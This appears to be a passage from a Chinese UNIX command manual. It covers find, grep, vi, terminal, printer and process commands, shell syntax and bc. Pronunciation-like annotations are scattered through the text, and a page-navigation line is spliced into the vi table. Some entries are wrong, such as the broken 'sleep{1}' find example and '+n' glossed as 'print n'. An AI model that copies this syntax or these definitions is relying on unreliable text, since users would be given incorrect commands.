[說明]: find 命令遞歸地遍歷指定路徑下的每個(gè)文件和子目錄,看該文件是否能使表達(dá)式值為真,以下 n 代表一個(gè)十進(jìn)制整數(shù),+n 代表打印 n , -n 代表小于 n ,下面是合法表達(dá)式說明:
-name 模式 文件名與模式匹配則為真,(\ 為轉(zhuǎn)意符)
-perm [-]八進(jìn)制數(shù) 文件存取模式與八進(jìn)制數(shù)相同則為真若有- 選項(xiàng),則文件存
取模式含有八進(jìn)制數(shù)規(guī)定模式即為真
-size n[c] 文件塊長度為 n 則真(一塊為512字節(jié)),若
有c 選項(xiàng),則文件字節(jié)長度為 n 則真
-atime n 若文件的最近訪問時(shí)間為 n 天前則為真,
find 命令將改變其訪問的目錄的訪問時(shí)間
-mtime n 若文件的最近修改時(shí)間為 n 天前則為真
-ctime n 若文件狀態(tài)為 n 天前改變則為真
-exec 命令 { }\; 若命令返回值為0則真,{ }內(nèi)為命令參數(shù),
此命令必須以 \; 為結(jié)束
-ok 命令 { }\; 與 exec 相同,只是在命令執(zhí)行前先提示,若
回答 y 則執(zhí)行命令
-print 顯示輸出使表達(dá)式為真的文件名
-newer 文件 若文件的訪問時(shí)間比newer 指定的文件新則真
-depth 先下降到搜索目錄的子目錄,然后才至其自身
-mount 僅查找包含指定目錄的文件系統(tǒng)
-local 文件在當(dāng)前文件系統(tǒng)時(shí)為真
-type c 文件類型為 c 則真,c 取值可為 b(塊文件) c (字符文件)
d(目錄) l (符號(hào)鏈接) p (命名管道) f (普通文件)
\( 表達(dá)式 \) 表達(dá)式為真則真
-links n 文件鏈接數(shù)為 n 時(shí)為真
-user 用戶 當(dāng)文件屬于用戶時(shí)為真,用戶可用數(shù)字表示UID
-nouser 當(dāng)文件不屬于 /etc/passwd 中的一個(gè)用戶時(shí)為真
-group 文件組 當(dāng)文件屬于文件組時(shí)為真,文件組可用數(shù)字表示GID
-nogroup 當(dāng)文件不屬于 /etc/group 中的一個(gè)組時(shí)為真
-fstype 類型 當(dāng)文件所屬文件系統(tǒng)類型為指定類型時(shí)真
-inum n 當(dāng)文件 i 節(jié)點(diǎn)號(hào)為 n 時(shí)為真
-prune 當(dāng)目錄名與模式匹配時(shí),不再搜索其子目錄
可以用邏輯操作符將簡(jiǎn)單表達(dá)式連接成復(fù)雜表達(dá)式
邏輯操作符有 ! 表示非操作, -o 表示或操作,兩個(gè)表達(dá)式并列則表示
與操作
[例子]:
find / -name find* -print
從根目錄開始搜索文件名如 find* 的文件并顯示之
find ./ -exec sleep{1}\; -print
每秒顯示一個(gè)當(dāng)前目錄下的文件
find $HOME \(-name a.out -o -name '*.o' \) -atime +7 -exec rm {} \;
從$HOME目錄開始搜索,刪除所有文件名為a.out 或 *.o 且訪問時(shí)間在7天前的文件
1.25 grep
[語法]: grep [選項(xiàng)] 模式 [文件...]
[說明]: 在指定的文件中搜索模式,并顯示所有包含模式的行,模式是一個(gè)正規(guī)表達(dá)式,在使用正規(guī)表達(dá)式時(shí),最好將其引在單引號(hào)(') 中,若指定文件為缺省,則使用標(biāo)準(zhǔn)輸入,正規(guī)表達(dá)式可以是:
. 匹配任意一個(gè)字符
* 匹配0個(gè)或多個(gè)*前的字符
^ 匹配行開頭
$ 匹配行結(jié)尾
[] 匹配[ ]中的任意一個(gè)字符,[]中可用 - 表示范圍,
例如[a-z]表示字母a 至z 中的任意一個(gè)
\ 轉(zhuǎn)意字符
命令中的選項(xiàng)為:
-b 顯示塊號(hào)
-c 僅顯示各指定文件中包含模式的總行數(shù)
-i 模式中字母不區(qū)分大小寫
-h 不將包含模式的文件名顯示在該行上
-l 僅顯示包含模式的文件名
-n 顯示模式所在行的行號(hào)
-s 指定文件若不存在或不可讀,不提示錯(cuò)誤信息
-v 顯示所有不包含模式的行
[例子]:
grep 'good' * 在所有文件中搜索含有字符串 good 的行
grep '^myline' mytext 在文件mytext中搜索行首出現(xiàn)myline字符串的行
1.26 vi
[語法]:vi [-wn] [-R] 文件...
[說明]: vi 是一個(gè)基于行編輯器 ex 上的全屏幕編輯器,可以在vi 中使用 ex,ed的全部命令,vi選項(xiàng)中 -wn 指將編輯窗口大小置為n行,-R 為將編輯的文件置為只讀模式, vi 工作模式分為命令模式和輸入模式,一般情況下在命令模式下,可敲入vi命令,進(jìn)入輸入模式下時(shí)可以編輯要編輯的文本,命令 a A i I o O c C s S R 可進(jìn)入輸入模式,在輸入模式下按 ESC 鍵可推出輸入模式,回到命令模式,在命令模式中敲入: 命令,則可進(jìn)入ex方式,在屏幕底部出現(xiàn)提示符 : ,此時(shí)可使用任意ex命令,屏幕底行也用來作/ ? ! 命令的提示行,大多數(shù)命令可以在其前面加數(shù)字,表示命令執(zhí)行的重復(fù)次數(shù),下面簡(jiǎn)單介紹一下vi 的命令集,^ 表示(CTRL)鍵
^B 退回前一頁,前面加數(shù)字表示重復(fù)次數(shù),每次換頁時(shí)
保留上一頁的兩行
^D 在命令模式下,表示下滾屏幕的一半,在輸入模式下,表示回退至
左邊的自動(dòng)縮進(jìn)處
^E 顯示屏幕底線之下的一行
^F 前進(jìn)一頁,前面加數(shù)字表示重復(fù)次數(shù),每次換頁時(shí)
保留上一頁的兩行
^G 顯示當(dāng)前文件名,當(dāng)前行號(hào)和文件總行數(shù),并用百分號(hào)當(dāng)前行在
整個(gè)文件中的位置
^H(退格) 在命令模式下,光標(biāo)左移一格;在輸入模式下,刪去前面的字符
^I(TAB) 在輸入模式下,產(chǎn)生一串空格
^J(LF) 光標(biāo)下移一行
^L 刷新屏幕,即將屏幕重新顯示
^M(回車) 在命令模式下,光標(biāo)移動(dòng)至下行開頭
在輸入模式下,開辟一新行
^N 光標(biāo)下移一行
^P 光標(biāo)上移一行
^Q 在輸入模式下,將其后的非打印字符作為正文插入
^R 刷新屏幕
^U 屏幕上滾一半,前面加數(shù)字時(shí)表示上滾的行數(shù),此數(shù)字對(duì)
以后的^D ^U 命令有效
^V 在輸入模式下,將其后的非打印字符作為正文插入
^W 在輸入模式下,使光標(biāo)回退一個(gè)字
^Y 顯示屏幕底線之上的一行
^Z 暫停編輯,退回上層Shell
^[(ESC) 退出輸入模式,回到命令模式
! 暫時(shí)退出編輯,執(zhí)行Shell命令
"(雙引號(hào)) 用于標(biāo)志有名緩沖區(qū),編號(hào)緩沖區(qū)1-9用于保存被刪去的正文,字
母名緩沖區(qū)a-z供用戶存放自定義的正文
$ 將光標(biāo)移動(dòng)到當(dāng)前行尾,前加數(shù)字則表示前移行數(shù),如2$表示移動(dòng)
到下一行行尾
% 將光標(biāo)移動(dòng)到配對(duì)的小括號(hào)()或大括號(hào){}上去
( 退回句子開頭
) 前移到句子開頭
- 退到上一行第一個(gè)非空格字符
. 重復(fù)上一次改變緩沖區(qū)內(nèi)容的命令
/ 模式 向前搜索模式,將光標(biāo)移動(dòng)到模式出現(xiàn)處,模式是一個(gè)正規(guī)
表達(dá)式,(參看 grep)
: 在屏幕底部提示:,其后可使用ex命令
? 功能同 / ,但方向是向前查找
[[ 光標(biāo)回退至前一節(jié)分界處
\ 轉(zhuǎn)意符
]] 光標(biāo)前移至節(jié)分界處
^(不是CTRL) 光標(biāo)移至當(dāng)前行第一個(gè)非空字符上
' 連續(xù)兩個(gè)''表示將光標(biāo)移至其移動(dòng)前的位置,'后跟字母表示光標(biāo)字
母標(biāo)記的行首(參看 m 命令)
A 在行尾插入正文,進(jìn)入輸入模式
B 光標(biāo)回退一個(gè)字
C 替換光標(biāo)后的內(nèi)容
D 刪除光標(biāo)后的內(nèi)容
E 光標(biāo)前移到字尾
F 字符 在當(dāng)前行向左查找指定字符
G 光標(biāo)移動(dòng)到其前面數(shù)字指定的行,若未指定則移動(dòng)到最后一行
H 光標(biāo)移動(dòng)到屏幕頂行,若前面有數(shù)字,則移動(dòng)到屏幕上該數(shù)字
上一頁 [1] [2] [3] [4] [5] [6] [7] 下一頁
文章錄入:csh 責(zé)任編輯:csh指定的行
I 在行開頭插入正文
J 連接兩行,若前面有數(shù)字則連接數(shù)字指定的行
L 光標(biāo)移動(dòng)到屏幕底行,若前面有數(shù)字,則移動(dòng)到屏幕底線往上數(shù)該
數(shù)字指定的行
M 光標(biāo)移動(dòng)到屏幕中線
N 使用模式查找/或?時(shí),重復(fù)找下一個(gè)匹配的模式,但方向與上次相
反,其功能同 n ,但方向相反
O 在當(dāng)前行上開辟一新行
P 將上次被刪除的正文插入光標(biāo)前面,可在其前面加緩沖區(qū)編號(hào),編
號(hào)1-9用于保存被刪去的正文,字母名緩沖區(qū)a-z供用戶存放自定
義的正文
Q 從vi 推出進(jìn)入ex命令狀態(tài)
R 替換字符串
S 替換整行
T 字符 向左查找字符
U 將當(dāng)前行恢復(fù)至第一次修改前的狀態(tài)
W 光標(biāo)移至下一個(gè)字首
X 刪除光標(biāo)前的字符
Y 將當(dāng)前行存入無名緩沖區(qū),前面加數(shù)字表示存入的行數(shù),也可用有
名緩沖區(qū)來保存,以后可用命令p或P將其取出
ZZ 存盤退出vi
a 光標(biāo)后插入正文
b 光標(biāo)回退至上一個(gè)字首
cw 替換當(dāng)前字
c) 替換當(dāng)前句子
dw 刪除一個(gè)字
dd 刪除一行
e 光標(biāo)移到下一個(gè)字末
f 字符 在當(dāng)前行向前查找字符
h 光標(biāo)左移一格
i 在光標(biāo)前插入正文
j 光標(biāo)下移一行
k 光標(biāo)上移一行
l 光標(biāo)右移一格
m 字母 用字母標(biāo)記當(dāng)前行,以后可用 '字母使光標(biāo)移動(dòng)到當(dāng)前行,
(參看'命令)
n 重復(fù)上次 / 或 ? 命令
o 在當(dāng)前行下開辟一新行
p 將用戶緩沖區(qū)內(nèi)容放到光標(biāo)位置(參看P命令)
r 替換當(dāng)前字符
s 用一串字符替換當(dāng)前字符
t 字符 光標(biāo)移動(dòng)至字符前
u 取消上次操作
w 光標(biāo)移至下一字首
x 刪除當(dāng)前字符
yw 將當(dāng)前字存入無名緩沖區(qū),前面可加"x,表示存入名字為x的有名
緩沖區(qū)(x為a-z),也可加數(shù)字表示存入的字?jǐn)?shù),以后可用P或p命
令取出
yy 將當(dāng)前行存入無名緩沖區(qū),用法參看yw
{ 光標(biāo)移動(dòng)至前一段開頭
| 光標(biāo)移至行首,若前面加數(shù)字,則移到數(shù)字指定行的行首
} 光標(biāo)移至下一段開頭
在:提示符下,常用命令如下:
:w 當(dāng)前文件存盤
:w! 強(qiáng)制存盤
:w 文件 將內(nèi)容寫入指定文件
:w! 文件 強(qiáng)制寫入指定文件
:x,y w 文件 將 x至 y 行寫入指定文件中
:r 文件 將文件讀到光標(biāo)位置
:r ! 命令 將系統(tǒng)命令的輸出讀到光標(biāo)位置
:q 退出編輯
:q! 強(qiáng)制退出
:x 與命令ZZ相同
:e 文件名 編輯另一文件
:e ! 重新編輯文件,放棄任何改變
:sh 執(zhí)行sh,結(jié)束后回到編輯
:! 命令 執(zhí)行命令后回到編輯
:n 編輯下一文件
:n 文件表 重新定義待編輯文件表
:set 設(shè)置 vi 的選項(xiàng),例如 set nu 表示每行前顯示行號(hào),在選項(xiàng)前
加no則表示清除該選項(xiàng),例如 set nonu 表示每行前不顯示行
號(hào),下面是一些常用的選項(xiàng):
ai 自動(dòng)縮進(jìn)
aw 編輯下一文件前自動(dòng)存盤
ic 查找字符串時(shí)不區(qū)分大小寫
nu 每行前顯示行號(hào)
sm 輸入)及}時(shí)顯示與之配對(duì)的( 或 {
slow 插入時(shí)延遲屏幕刷新
ws 使查找能繞過文件尾從頭進(jìn)行
wa 寫文件之前不作對(duì)文件的檢查
第二章 設(shè)備管理
2.1 stty
[語法]: stty [-a] [-g] [選項(xiàng)]
[說明]: 本命令設(shè)置終端,無參數(shù)時(shí)報(bào)告終端設(shè)置,本命令功能十分強(qiáng)大,應(yīng)謹(jǐn)慎使用,下面僅介紹部分常用功能
-a 顯示當(dāng)前終端所有設(shè)置
-g 以能作為 stty 命令參數(shù)的方式顯示終端設(shè)置
以下是終端常用設(shè)置,在設(shè)置前加-表示清除設(shè)置:
1.控制方式
ispeed 0 110 300 600 1200 1800 2400 4800 9600 19200 38400
本命令設(shè)置終端輸入波特率,若為0則使用缺省波特率。
例如 stty ispeed 9600
ospeed 0 110 300 600 1200 1800 2400 4800 9600 19200 38400
本命令設(shè)置終端輸出波特率,參看 ispeed。
2.輸入方式
ingbrk(-ignbrk) 忽略(不忽略)中斷(BREAK)
brkint(-brkint) 設(shè)置(清除)信號(hào)INTR為中斷信號(hào)
inlcr(-inlcr) 將換行轉(zhuǎn)換(不轉(zhuǎn)換)成回車
icrnl( -icrnl) 將回車轉(zhuǎn)換(不轉(zhuǎn)換)成換行
igncr(-ignrc) 忽略(不忽略)回車
iuclc( -iuclc) 將大寫字母轉(zhuǎn)換(不轉(zhuǎn)換)成小寫字母
3.輸出方式
olcut(-olcut) 將小寫字母轉(zhuǎn)換(不轉(zhuǎn)換)為大寫字母
onlcr(-onlcr) 輸出時(shí)將換行符轉(zhuǎn)換(不轉(zhuǎn)換)為回車換行
ocrnl(-ocrnl) 輸出時(shí)將回車符轉(zhuǎn)換(不轉(zhuǎn)換)為換行符
4.本地方式
echo (-echo) 設(shè)置(清除)回顯
stwrap(-stwrap) 截?cái)?不截?cái)?大于79個(gè)字符的行
echoctl(-echoctr) 將控制鍵回顯為^
2.2 tty
[語法]: tty
[說明]: 顯示出終端的設(shè)備名
[例子]:
tty
2.3 lp
[語法]: lp 文件...
[說明]: 將文件送打印機(jī)打印
[例子]:
lp myfile 將文件myfile 送打印機(jī)輸出
2.4 lpstat
[語法]: lpstat [選項(xiàng)] [打印任務(wù)號(hào)]
[說明]: 顯示打印機(jī)狀態(tài),選項(xiàng)的意義如下:
-a [打印機(jī)表] 顯示打印機(jī)表中指定的打印機(jī)可否接收打印請(qǐng)求
-c [打印機(jī)類名] 顯示打印機(jī)種類及在該打印機(jī)種類下的成員
-d 顯示系統(tǒng)預(yù)設(shè)的打印機(jī)
-p [打印機(jī)表] 顯示打印機(jī)表中打印機(jī)狀態(tài)
-r 顯示lp 請(qǐng)求程序表( lp request scheduler)
-s 打印系統(tǒng)統(tǒng)計(jì)表
-t 打印所有狀態(tài)信息
-u [用戶] 顯示由用戶發(fā)出的打印請(qǐng)求
-v [打印機(jī)名表] 顯示每個(gè)打印機(jī)名稱,是對(duì)應(yīng)于該打印機(jī)設(shè)備文件的路徑名
[例子]:
lpstat -t 打印所有狀態(tài)信息
2.5 cancel
[語法]: cancel 打印任務(wù)號(hào)
cancel 打印機(jī)名
cancel -u 用戶名 [打印機(jī)]
[說明]: 本命令可按打印機(jī)名,打印任務(wù),用戶來取消打印任務(wù)
[例子]:
cancel -u mary 取消用戶 mary 的所有打印請(qǐng)求
2.6 enable
[語法]: enable 打印機(jī)表
[說明]: 本命令可激活一個(gè)或多個(gè)打印機(jī)
2.7 disable
[語法]: disable [-cw] 打印機(jī)表
[說明]: 使一個(gè)或多個(gè)打印機(jī)不能打印
-c 立即取消正在打印的打印請(qǐng)求
-w 等正在打印的內(nèi)容打完后,才禁止打印機(jī)
2.8 sync
[語法]: sync
[說明]: 將磁盤緩沖區(qū)內(nèi)容寫回磁盤
2.9 mount
[語法]: mount [-r] 設(shè)備 目錄
[說明]: 將設(shè)備安裝到目錄下
-r 以只讀方式安裝
2.10 umount
[語法]: umount 設(shè)備
[說明]: 將已安裝的文件系統(tǒng)卸下
2.11 tar
[語法]: tar -c[vwfbL] [設(shè)備] [塊] 文件...
tar -r[vwfbL] [設(shè)備] [塊] 文件...
tar -t[vfL] [設(shè)備] [文件...]
tar -u[vwfbL] [設(shè)備] [塊] 文件...
tar -x[lmovwfL] [設(shè)備] [文件...]
[說明]: 將多個(gè)文件歸檔,命令中各參數(shù)的意義為:
r 附加方式歸檔
x 抽取文件
t 顯示文件
u 附加方式歸檔,同時(shí)刪除舊版文件
c 建立新檔案文件
v 顯示所處理的文件名
w 處理文件前,要求用戶確認(rèn)
f 文件名 使用指定文件名作為檔案文件
bn 每次讀寫 n 塊,缺省值為1,最大值為20
m 將新的文件修改時(shí)間設(shè)為獲取時(shí)的時(shí)間
o 獲取出來的文件以下達(dá)tar指令的UID和GID存儲(chǔ)
[例子]:
tar cvf file.tar *
tar tvf file.tar
2.12 df
[語法]: df [-t] [文件系統(tǒng)]
[說明]: 顯示剩余 i 節(jié)點(diǎn)和塊數(shù),使用 -t 選項(xiàng),還顯示總塊數(shù)和 i 節(jié)點(diǎn)數(shù)
[例子]: df -t
2.13 du
[語法]: du [-ars] [目錄]
[說明]: 顯示磁盤空間專用情況
-r 提供無法打開的文件信息
-s 僅顯示指定目錄所占空間的總和
-a 顯示文件大小及目錄總空間,其后可根文件名作參數(shù)
第三章 進(jìn)程管理
3.1 sleep
[語法]: sleep 時(shí)間
[說明]: 掛起參數(shù)指定的秒數(shù)
3.2 ps
[語法]: ps [ -efl] [ -t 終端表] [ -u 用戶表] [ -g 組表]
[說明]: 顯示出有關(guān)進(jìn)程的狀態(tài)
-e 顯示出現(xiàn)在正在運(yùn)行的所有進(jìn)程
-f 顯示所有信息
-l 產(chǎn)生一個(gè)長列表
-t 顯示指定終端進(jìn)程
-u 顯示指定用戶進(jìn)程
-g 顯示指定組進(jìn)程
3.3 at
[語法]: at [-f 命令文件] [-m] [-q 隊(duì)列] -t 時(shí)間
[說明]: at命令由cron管理,在未來一個(gè)指定的時(shí)間內(nèi)執(zhí)行一組命令,命令可以從指定文件讀入,也可從鍵盤讀入,從鍵盤讀入時(shí)以EOF結(jié)束,(通常為CTRL D)
-f 從指定命令文件中讀入命令
-m 命令執(zhí)行完后給用戶發(fā)郵件
-q 將命令放入指定隊(duì)列
-t 指定時(shí)間 指定的時(shí)間格式為 [[CC]YY]MMDDhhmm[.ss],CC表示
年的前兩位,YY表示年的后兩位,MM表示月,DD表示日,hh表
示時(shí),mm表示分,ss表示秒
3.4 kill
[語法]: kill -信號(hào) 進(jìn)程號(hào)
[說明]: kill 將信號(hào)傳遞給指定進(jìn)程,信號(hào)意義如下:
1 暫停(hangup)
2 中斷(interrupt)
3 退出(quit)
4 非法指令(illeqgal instruction)
5 跟蹤中斷(trace trap)
6 Abort
7 EMT 指令(Emulation trap)
8 浮點(diǎn)格式異常(floating point exception)
9 kill(不可忽略)
10 通道錯(cuò)誤(bus error)
11 不合法內(nèi)存段
12 錯(cuò)誤的系統(tǒng)調(diào)用參數(shù)
13 寫入不可讀的連通管道
14 alarm clock
15 軟件結(jié)束信號(hào)
16 用戶定義信號(hào)一
17 用戶定義信號(hào)二
[例子]:
kill -9 444 殺死進(jìn)程號(hào)為 444 的進(jìn)程
第四章 系統(tǒng)管理和用戶管理
4.1 who
[語法]: who
who am i
[說明]: 列出現(xiàn)在系統(tǒng)中的用戶,who am i 顯示自己
4.2 whodo
[語法]: whodo [-h] [-l] [用戶]
[說明]: 顯示系統(tǒng)中用戶及進(jìn)程,若指定用戶,則只列出該用戶的信息
-h 不顯示頭部信息
-l 長列表格式輸出
4.3 passwd
[語法]: passwd [用戶]
[說明]: 修改密碼,指定用戶則修改指定用戶密碼
4.4 logname
[語法]: logname
[說明]: 取得當(dāng)前用戶注冊(cè)名
4.5 su
[語法]: su [- ] [用戶名]
[說明]: su 命令使當(dāng)前用戶成為指定用戶,若無指定,則成為超級(jí)用戶,但必須輸入該用戶的密碼,-選項(xiàng)表示用該用戶的注冊(cè)環(huán)境成為該用戶
4.6 time
[語法]: time 命令
[說明]: 執(zhí)行命令,并在執(zhí)行完后顯示其運(yùn)行的時(shí)間
4.7 date
[語法]: date
date mmddhhmm[yy]
[說明]: date 無參數(shù)時(shí)用于顯示系統(tǒng)時(shí)間,修改時(shí)間時(shí)參數(shù)形式為
月日時(shí)分[年]
4.8 shutdown
[語法]: shutdown [-y] [-gn] [-in]
[說明]: UNIX 系統(tǒng)必須先關(guān)閉系統(tǒng),再關(guān)電源
-y 對(duì)提示的所有問題都回答 y
-gn 給其他用戶n 秒的時(shí)間退出,缺省值為60秒
-in 系統(tǒng)退到第n種方式,方式如下:
0 關(guān)機(jī)
1 單用戶模式
2 多用戶模式
3 網(wǎng)絡(luò)下的多用戶模式
6 關(guān)機(jī)并重新啟動(dòng)
4.9 fsck
[語法]: fsck [-y]
[說明]: 本命令用于檢查和修復(fù)文件系統(tǒng),當(dāng)文件系統(tǒng)出現(xiàn)混亂時(shí),可使用本命令,-y選項(xiàng)表示對(duì)所有提問都回答YES
第五章 通信和郵件
5.1 wall
[語法]: wall
[說明]: 向所有用戶廣播通知信息,常用于警告所有用戶
5.2 mesg
[語法]: mesg [-n] [-y]
[說明]: mesg 用 -n 參數(shù)則禁止其他用戶用 write 發(fā)消息,用 -y 參數(shù)則允許接收消息,若無參數(shù)則報(bào)告現(xiàn)在的狀況
5.3 write
[語法]: write 用戶 終端
[說明]: write 與指定的終端上的用戶直接對(duì)話,直到接收到文件結(jié)束符
[例子]:
write mary console
5.4 mailx
[語法]: mailx [選項(xiàng)] [名字]
[說明]: 本命令用于發(fā)送和接收郵件,名字是收信人的用戶名,本命令有許多內(nèi)部命令,選項(xiàng)說明如下:
-e 檢查是否有郵件,若有則返回0
-f 文件名 從文件中讀取郵件而非從郵箱中
-H 只顯示信件標(biāo)題
-s 標(biāo)題 設(shè)定標(biāo)題為指定標(biāo)題
[命令說明]
. 當(dāng)前信件
n 第 n 封信
^ 第一封未被處理的信
$ 最后一封信
* 所有的信
n-m 第n 封至第m封信
用戶 由指定用戶發(fā)出的信
/ 字符串 標(biāo)題中包含字符串的信
:c 滿足指定類型c的信,類型可為
d 已刪除的信
n 信傳送的信
o 舊信件
r 已讀過的信
u 未讀過的信
p 一次顯示多封信
t 顯示某封信的前若干行
si 顯示信件字符數(shù)
h 顯示信件標(biāo)題
d 刪除信件
u 恢復(fù)信件
s [信件表] 文件名
將信件存入指定文件中
q 退出
r 回信
~e 編輯信件
~r 文件 從文件中讀取信件
[例子]:
mailx mary < myletter
第六章 Shell 編程
shell 不但是 Unix 的用戶交互界面,還是一門程序設(shè)計(jì)語言,系統(tǒng)注冊(cè)進(jìn)入時(shí)就會(huì)執(zhí)行一個(gè)shell命令文件 .profile ,下面對(duì)shell中的常用命令作簡(jiǎn)單介紹。
$n shell 程序命令行中的第n 個(gè)參數(shù),n為0-9,當(dāng)n 為0時(shí)表示命令名
$# 命令行中參數(shù)的個(gè)數(shù)
$$ 本shell 命令的進(jìn)程號(hào)
$! 最后一個(gè)后臺(tái)進(jìn)程的代號(hào)
$* 所有命令行參數(shù)
$@ 與$*相似,但其值不同
$HOME 注冊(cè)時(shí)進(jìn)入的目錄
$PATH 命令的搜索目錄
$PS1 系統(tǒng)第一個(gè)提示符,一般為$
$PS2 系統(tǒng)第二個(gè)提示符,一般為>
shift [n] 將命令行參數(shù)往左移一位,但$0不變
變量名=字符串 將字符串賦予變量名,以后可用$變量名引用該變量
export 變量名表 將變量名表所列變量傳遞給子進(jìn)程
read 變量名表 從標(biāo)準(zhǔn)輸入讀字符串,傳給指定變量
echo 變量名表 將變量名表指定的變量顯示到標(biāo)準(zhǔn)輸出
set 顯示設(shè)置變量
env 顯示目前所有變量
if 條件執(zhí)行,語法是: if 條件
then 指令
fi
case 分支執(zhí)行,語法是: case 字符串變量 in
值1) 指令...
值2) 指令...
...
esac
while 條件為真時(shí)循環(huán),語法是:
while 條件
do
指令...
done
until 條件為假時(shí)循環(huán),語法是:
until 條件
do
指令...
done
for 變量在表中時(shí)循環(huán),語法是:
for 變量名 in 字組表
do
指令...
done
break 從循環(huán)中退出,語法:
break n
n 表示跳出循環(huán)的層數(shù)
continue 繼續(xù)循環(huán),語法:
continue n
n 表示退到包含continue 語句的第n 層繼續(xù)循環(huán)
exit 退出shell
func shell內(nèi)部可定義函數(shù),語法: func 函數(shù)名()
{
指令...
}
expr 將其后的串解釋為表達(dá)式并計(jì)算其值,運(yùn)算符前后需有空格
trap 捕獲信號(hào),語法 trap n ,捕獲信號(hào) n (信號(hào)說明參見kill)
test 條件測(cè)試,語法 test [選項(xiàng)] 參數(shù)
選項(xiàng) -f 文件 若文件存在且可讀則真
-w 文件 若文件存在且可寫則真
-x 文件 若文件存在且可執(zhí)行則真
-f 文件 若文件存在且為普通文件則真
-d 文件 若文件存在且為目錄文件則真
-p 文件 若文件存在且為fifo文件則真
-s 文件 若文件存在且不空則真
-z 串 若串長度為0則真
-n 串 若串長度不為0則真
串 若串不是空串則真
串1=串2 若串1等于串2則真
串1!=串2 若串1不等于串2則真
n1 -eq n2 若n1與n2數(shù)值相當(dāng)則真
n1 -ne n2 若n1與n2數(shù)值不相當(dāng)則真
n1 -lt n2 若n1小于n2則真
n1 -le n2 若n1小于等于n2則真
n1 -gt n2 若n1大于n2則真
n1 -ge n2 若n1大于等于n2則真
可用 與 -a 或 -o 非 ! 將條件表達(dá)式連接起來
第七章 數(shù)學(xué)計(jì)算命令
[語法]: bc [-c] [-l] [文件...]
[說明]: bc是一個(gè)交互式的高精度計(jì)算工具,采用類似于C語言的語法,能夠從指定文件指定文件中讀出命令執(zhí)行,然后再進(jìn)入交互式執(zhí)行,事實(shí)上,bc是dc的預(yù)編譯器,它自動(dòng)激活dc,將語句經(jīng)預(yù)編譯后傳遞給dc,退出bc的命令是quit,bc中的ibase,obase,scale分別表示輸入基數(shù),輸出基數(shù),小數(shù)點(diǎn)右邊的位數(shù)。
-c bc 只編譯,而不將編譯結(jié)果送dc,將其送到標(biāo)準(zhǔn)輸出上
-l 預(yù)定義一個(gè)數(shù)學(xué)函數(shù)庫,可在bc中使用以下函數(shù)
s(x) sine
c(x) cosine
e(x) exponential
l(x) log
a(x) arctangent
j(n,x) Bessel
[例子]:
bc -l 進(jìn)入bc
scale=10 將小數(shù)位定為10位
e(1) 計(jì)算e的小數(shù)點(diǎn)后10位
quit 退出bc
附錄 UNIX 常用命令簡(jiǎn)單說明
UNIX 命令大多數(shù)可用聯(lián)機(jī)幫助手冊(cè) man 獲得幫助,下面是常用命令及簡(jiǎn)單說明,可供用戶快速查找使用。
命令 功能簡(jiǎn)述
acctcom 等于進(jìn)程記帳文件
accton 啟動(dòng)或中止記帳進(jìn)程
adb 匯編語言調(diào)試工具
admin 創(chuàng)建和管理SCCS文件
ar 檔案文件和庫文件管理程序
as 匯編器
asa 回車控制
at 在指定時(shí)間執(zhí)行程序
awk 模式搜索和處理語言
banner 制作標(biāo)題
basename 生成文件基本名(無前。后綴)
batch 命令的延遲執(zhí)行
bc 計(jì)算器
bdiff 大型文件比較
bfs 大文件搜索
break 退出循環(huán)
cal 打印日歷表
calendar 打印日歷表
cancel 取消打印任務(wù)
case 分支語句
cb C語言整理程序
cd 改變當(dāng)前目錄
cc C語言編譯器
cdc SCCS實(shí)用程序
cflow 生成C語言流程圖
checkeq 數(shù)學(xué)公式排版命令
chgrp 改變文件組
chmod 改變文件存取模式
chown 改變文件主
chroot 改變根目錄
cksum 顯示校驗(yàn)和
clri 清除指定的I節(jié)點(diǎn)
cmp 文件比較
col 過濾反向換行
comb SCCS實(shí)用程序
comm 顯示兩個(gè)排序文件的公共行
command 執(zhí)行簡(jiǎn)單命令
continue 進(jìn)入下一循環(huán)
cp 復(fù)制文件
cpio 復(fù)制文件檔案
cpp C語言預(yù)處理程序
crash 檢查系統(tǒng)內(nèi)存映象
create 建立臨時(shí)文件
cref 生成交叉引用表
cron 在指定時(shí)間執(zhí)行一組命令
crontab 為命令cron 準(zhǔn)備crontab文件
crypt 加密/解密
csplit 將一個(gè)文件分解
ct 遠(yuǎn)程終端注冊(cè)
ctags 創(chuàng)建供vi使用的標(biāo)識(shí)符
cu 呼叫另一UNIX系統(tǒng)
cut 斷開一文件中所選擇的字段
cxref 生成C程序交叉訪問表
date 打印和設(shè)置時(shí)間
dc 桌面計(jì)算器
dd 轉(zhuǎn)換和復(fù)制文件
delta SCCS實(shí)用程序
deroff 去掉排版格式
devnm 標(biāo)識(shí)設(shè)備名
df 顯示可用磁盤空間
diff 顯示兩個(gè)文件的差異
diff3 顯示三個(gè)文件的差異
dircmp 目錄比較
dis 反匯編程序
du 顯示對(duì)磁盤的占用情況
dump 對(duì)指定文件備份
echo 回顯指定參數(shù)
ed 行編輯器
edit 文本編輯器
egrep 在文件中查找指定模式
env 設(shè)置命令執(zhí)行環(huán)境
eqn 數(shù)學(xué)公式排版命令
eval 執(zhí)行指定命令
ex 行編輯器
exec 執(zhí)行指定命令
exit 進(jìn)程中止
expand 使表格占滿行寬
export 將變量傳遞給子程序
expr 計(jì)算表達(dá)式值
factor 因式分解
false 返回FALSE
fgrep 在文件中查找指定模式
file 確定文件類型
find 查找符號(hào)條件的文件
fmt 安排簡(jiǎn)單的文本格式
fold 折行
for 循環(huán)語句
fsck 文件系統(tǒng)檢查和修復(fù)
fsdb 文件系統(tǒng)調(diào)試程序
fumount 強(qiáng)制性拆協(xié)指定資源
function 函數(shù)說明
fuser 列出使用文件的進(jìn)程
fwtmp 產(chǎn)生記帳記錄
get SCCS實(shí)用程序
getconf 查找配置參數(shù)
getopt 獲得命令中的選擇項(xiàng)
getopts 獲得命令中的選擇項(xiàng)
getty 設(shè)置終端類型、模式、行律等
grep 在文件中查找指定模式
head 打印文件的頭若干行
hexdump 按十六進(jìn)制轉(zhuǎn)儲(chǔ)文件
id 顯示用戶號(hào)
if 條件語句
init UNIX 初啟進(jìn)程
install 安裝一個(gè)文件到文件系統(tǒng)
ipcrm 刪除IPC隊(duì)列
ipcs 顯示IPC狀態(tài)
join 連接兩個(gè)文件(關(guān)系操作〕
kill 中止指定進(jìn)程
killall 中止所有活動(dòng)進(jìn)程
labelit 給文件系統(tǒng)提供標(biāo)號(hào)
ld 目標(biāo)文件鏈接編輯器
lex 詞法分析程序
line 讀一行
link 連接文件
lint C程序檢查程序
ln 鏈接文件
local 建立局部變量
